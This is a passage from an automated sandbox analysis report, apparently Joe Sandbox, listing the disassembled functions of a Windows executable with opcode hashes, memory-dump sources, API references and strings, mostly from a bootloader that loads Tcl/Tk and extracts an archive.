Instruction Fuzzy Hash: 74518D36E18669C2E7259B2DE04822CA3A1EB66B5CFB44135CB4C07798CB7EEC43C750

Function 00007FF7B1102680 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction ID: d3dba95e729d76422a9c08eae7991f0fe518513f09ba8517fb47e5cd868b1447
Opcode Fuzzy Hash: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction Fuzzy Hash: 1851E836E18A5581E7259B2DD458238B7A0EB66B5CFB44031CF4C177ACCF7AE842C750

Function 00007FF7B1106510 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 70fb20ca985928b690e25e5649b045f8f63ae1396c967f892cef9560b70f87fa
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: D1419362C0974E04EF95991C29087B8A781DF73BE8DB852B0DF99133CEDD4E6996C220

Function 00007FF7B110AA10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: a584b5ebd410868caf684851e7ae72ca0a48fe722538065b11fe9c603729eb0f
Instruction ID: c589d36dad4d412a495908ee390ad39a73067a0fe37a8918ba3f0d17900afd25
Opcode Fuzzy Hash: a584b5ebd410868caf684851e7ae72ca0a48fe722538065b11fe9c603729eb0f
Instruction Fuzzy Hash: DC410562B14A5982EF04DF6EE924569B3A2FB59FC4B999032DF0D97B58DE7CD0418300

Function 00007FF7B1108278 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction ID: 1b2a08918c3d485887609f5fad1db86e5605e7c9eeaaf1f8e919d9f980daf4b7
Opcode Fuzzy Hash: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
Instruction Fuzzy Hash: 6D31E432E1CB4581E764AB29744412DF794EBC6B94F644238EB8957BDACF7CD0128314

Function 00007FF7B111A420 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa2e9ba6296ea42dd861dc7f4a70719f263379b300c18e22927abb196144ca8
Instruction ID: 16906d87a13e59a90dad3b938d71dec8aa51ffbec54d1eb7719812d9c4e1b74c
Opcode Fuzzy Hash: 4aa2e9ba6296ea42dd861dc7f4a70719f263379b300c18e22927abb196144ca8
Instruction Fuzzy Hash: 99F06871B182999ADB98AF2DB402629BBD0F719384F808439D68D87B0CD67C90608F14

Function 00007FF7B10FC88C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba86f607178f2dc3ef803bbc4180c5da227c40ec501de79dfe2d660df2792ade
Instruction ID: 6d1ec70d68ad048c5be37f6c7b36de5cdbace253236d49ebd3439c5c7d6737d4
Opcode Fuzzy Hash: ba86f607178f2dc3ef803bbc4180c5da227c40ec501de79dfe2d660df2792ade
Instruction Fuzzy Hash: A2A00121988816E4E745AB0DA992520A360AB62319FC10032D60E810A89FACA551C620

Function 00007FF7B10F6EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7B10F6F07
GetProcAddress.KERNEL32 ref: 00007FF7B10F6F46
GetProcAddress.KERNEL32 ref: 00007FF7B10F6F6B
GetProcAddress.KERNEL32 ref: 00007FF7B10F6F90
GetProcAddress.KERNEL32 ref: 00007FF7B10F6FB8
GetProcAddress.KERNEL32 ref: 00007FF7B10F6FE0
GetProcAddress.KERNEL32 ref: 00007FF7B10F7008
GetProcAddress.KERNEL32 ref: 00007FF7B10F7030
GetProcAddress.KERNEL32 ref: 00007FF7B10F7058

Strings

Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF7B10F706A
Tcl_EvalObjv, xrefs: 00007FF7B10F731E
Tcl_GetObjResult, xrefs: 00007FF7B10F72A6
Tcl_MutexLock, xrefs: 00007FF7B10F7076
Tcl_Free, xrefs: 00007FF7B10F736E
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF7B10F724A
Failed to get address for Tk_Init, xrefs: 00007FF7B10F73B2
Tcl_CreateInterp, xrefs: 00007FF7B10F6F3C
Tcl_Init, xrefs: 00007FF7B10F6F00
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF7B10F701A
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF7B10F710A
Tcl_ConditionFinalize, xrefs: 00007FF7B10F70C6
Tcl_ThreadAlert, xrefs: 00007FF7B10F7166
Failed to get address for Tcl_GetString, xrefs: 00007FF7B10F7222
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF7B10F733A
Tcl_DeleteInterp, xrefs: 00007FF7B10F6FFE
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF7B10F70BA
Failed to get address for Tcl_EvalFile, xrefs: 00007FF7B10F72EA
Tcl_ThreadQueueEvent, xrefs: 00007FF7B10F713E
Tk_Init, xrefs: 00007FF7B10F7396
Tcl_EvalEx, xrefs: 00007FF7B10F72F6
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF7B10F6FF2
Tcl_DoOneEvent, xrefs: 00007FF7B10F6F86
Tcl_GetString, xrefs: 00007FF7B10F7206
Failed to get address for Tcl_Init, xrefs: 00007FF7B10F6F19
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF7B10F7272
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF7B10F6F58
Failed to get address for Tcl_GetVar2, xrefs: 00007FF7B10F71AA
Failed to get address for Tcl_SetVar2, xrefs: 00007FF7B10F71D2
Failed to get address for Tcl_Free, xrefs: 00007FF7B10F738A
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF7B10F715A
Tcl_SetVar2, xrefs: 00007FF7B10F71B6
Tcl_FindExecutable, xrefs: 00007FF7B10F6F61
Tcl_ConditionNotify, xrefs: 00007FF7B10F70EE
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF7B10F7132
Failed to get address for Tcl_MutexLock, xrefs: 00007FF7B10F7092
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF7B10F71FA
Tcl_CreateObjCommand, xrefs: 00007FF7B10F71DE
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF7B10F729A
Tcl_EvalFile, xrefs: 00007FF7B10F72CE
Tcl_FinalizeThread, xrefs: 00007FF7B10F6FD6
Tcl_SetVar2Ex, xrefs: 00007FF7B10F727E
Failed to get address for Tcl_Finalize, xrefs: 00007FF7B10F6FCA
Tcl_Finalize, xrefs: 00007FF7B10F6FAE
Tcl_ConditionWait, xrefs: 00007FF7B10F7116
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF7B10F6FA2
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF7B10F72C2
Tcl_Alloc, xrefs: 00007FF7B10F7346
Failed to get address for Tcl_EvalEx, xrefs: 00007FF7B10F7312
Tcl_GetCurrentThread, xrefs: 00007FF7B10F704E
Failed to get address for Tcl_CreateThread, xrefs: 00007FF7B10F7042
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF7B10F73DA
Tcl_NewStringObj, xrefs: 00007FF7B10F722E
Tcl_MutexUnlock, xrefs: 00007FF7B10F709E
Tcl_NewByteArrayObj, xrefs: 00007FF7B10F7256
Tcl_CreateThread, xrefs: 00007FF7B10F7026
Failed to get address for Tcl_Alloc, xrefs: 00007FF7B10F7362
Tcl_GetVar2, xrefs: 00007FF7B10F718E
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF7B10F7182
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF7B10F6F7D
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF7B10F70E2
Tk_GetNumMainWindows, xrefs: 00007FF7B10F73BE
GetProcAddress, xrefs: 00007FF7B10F6F20

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction ID: e4bef52dadfbbf9545d63edc97f1b2f004eb64cc39f745774ab8aec41f84a601
Opcode Fuzzy Hash: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction Fuzzy Hash: FDE1FA65A0EB0B90FB56EB4CB891174E3A1AF2775CFC55531CA0D0669CEFFCB1688260

Function 00007FF7B10F12A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F2B10: MessageBoxW.USER32 ref: 00007FF7B10F2BE5

_fread_nolock.LIBCMT ref: 00007FF7B10F1489

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7B10F12EE
fseek, xrefs: 00007FF7B10F1322
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7B10F14AF
\, xrefs: 00007FF7B10F13E5
malloc, xrefs: 00007FF7B10F1367
%s%c%s, xrefs: 00007FF7B10F13DE
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7B10F131B
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7B10F1360
fread, xrefs: 00007FF7B10F14B6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 158d00d3fa35f6ec523f5cd77b2a764e4e84d15d3d6112a4d59896a6fa0a4bdf
Instruction ID: 068335375ba56057879f6bb82f8d15a12f9e86b57d1fdf9cadbc1cfe1826ab00
Opcode Fuzzy Hash: 158d00d3fa35f6ec523f5cd77b2a764e4e84d15d3d6112a4d59896a6fa0a4bdf
Instruction Fuzzy Hash: DE519321A0868785EB20B719A8922FAE354EF667DCFD04031EF4D47A8DEEBCF5418750

Function 00007FF7B10F23D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7B10F23FB
SelectObject.GDI32 ref: 00007FF7B10F2442
DrawTextW.USER32 ref: 00007FF7B10F2465
SelectObject.GDI32 ref: 00007FF7B10F247B
ReleaseDC.USER32 ref: 00007FF7B10F248B
MoveWindow.USER32 ref: 00007FF7B10F24DB
MoveWindow.USER32 ref: 00007FF7B10F251B
MoveWindow.USER32 ref: 00007FF7B10F256E
MoveWindow.USER32 ref: 00007FF7B10F25B6

Strings

P%, xrefs: 00007FF7B10F244F

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction ID: 181a4a601d6284a66c23e37b7b80b482bf4417590cbbc03edbaab74f5f91607b
Opcode Fuzzy Hash: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction Fuzzy Hash: 735119266187A186D734AF26F0582BAF7A1F7A9B65F004121EFCE43684DF7CD055DB20

Function 00007FF7B1106D84 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1106DC7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11071B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1107450

Strings

p, xrefs: 00007FF7B1106E79
-, xrefs: 00007FF7B1106E5D
:, xrefs: 00007FF7B1106F80
f, xrefs: 00007FF7B1106EE9
p, xrefs: 00007FF7B1106EF1

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction ID: 0941eb0079ba6d034186fc3ee93e9f4789cd7d939914e03fd557f03acaa42598
Opcode Fuzzy Hash: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction Fuzzy Hash: 76129261E0C14B86FB20BA18F159679F752EB62758FE48135EBC9466C8DFBCE4808770

Function 00007FF7B11016E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1101728
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1101AF0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1101D8F

Strings

f, xrefs: 00007FF7B1101975
p, xrefs: 00007FF7B11017CD
f, xrefs: 00007FF7B11017C0
p, xrefs: 00007FF7B1101832
f, xrefs: 00007FF7B110182A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction ID: 1aba04873dcc2d6b74dc28074ad4cfa72bf9a00f4afea3e0f88efc8abd1202b4
Opcode Fuzzy Hash: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction Fuzzy Hash: 5E127321E0C18BC5FB207A58F15C679B7A2FB62758FE44136E799465CCDBBCE5808B20

Function 00007FF7B10F1590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7B10F15C3
fseek, xrefs: 00007FF7B10F1600
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7B10F16B2
malloc, xrefs: 00007FF7B10F1630
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7B10F15F9
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7B10F1629
fread, xrefs: 00007FF7B10F16B9

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: a80852cf7a0435982f1b2a2e47e4ceb785ea7fc5e965373e9eced2b197ef6b24
Instruction ID: 08d55de3c1c5554226fca1ed380403664d293adc82609c27838dd3e54702706e
Opcode Fuzzy Hash: a80852cf7a0435982f1b2a2e47e4ceb785ea7fc5e965373e9eced2b197ef6b24
Instruction Fuzzy Hash: B531B821B0864781EB24BB1AB4916BAE350EF267DCFD44431DF4D07A5DEEBCE5458710

Function 00007FF7B10FF120 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7B10FF17C

Part of subcall function 00007FF7B11000DC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7B110011F
Part of subcall function 00007FF7B11000DC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7B1100144

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7B10FF254
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7B10FF4A3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B10FF5AF

Strings

csm, xrefs: 00007FF7B10FF196
csm, xrefs: 00007FF7B10FF1FD
csm, xrefs: 00007FF7B10FF277

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction ID: 23bfc0f63d1bcc1c8fd6a59d6615db3aa4b58962a5f9c92476d20113d2852f59
Opcode Fuzzy Hash: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction Fuzzy Hash: E2D1A373A0874286EB60AF69D4822ADB7A0FB66B9CF900135DF4D57799CF78E041C750

Function 00007FF7B10F87A0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F8837
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F888E

Strings

win32_utils_to_utf8, xrefs: 00007FF7B10F88C6
WideCharToMultiByte, xrefs: 00007FF7B10F88D6
Failed to get UTF-8 buffer size., xrefs: 00007FF7B10F88CF
Out of memory., xrefs: 00007FF7B10F88BF
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7B10F88B6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

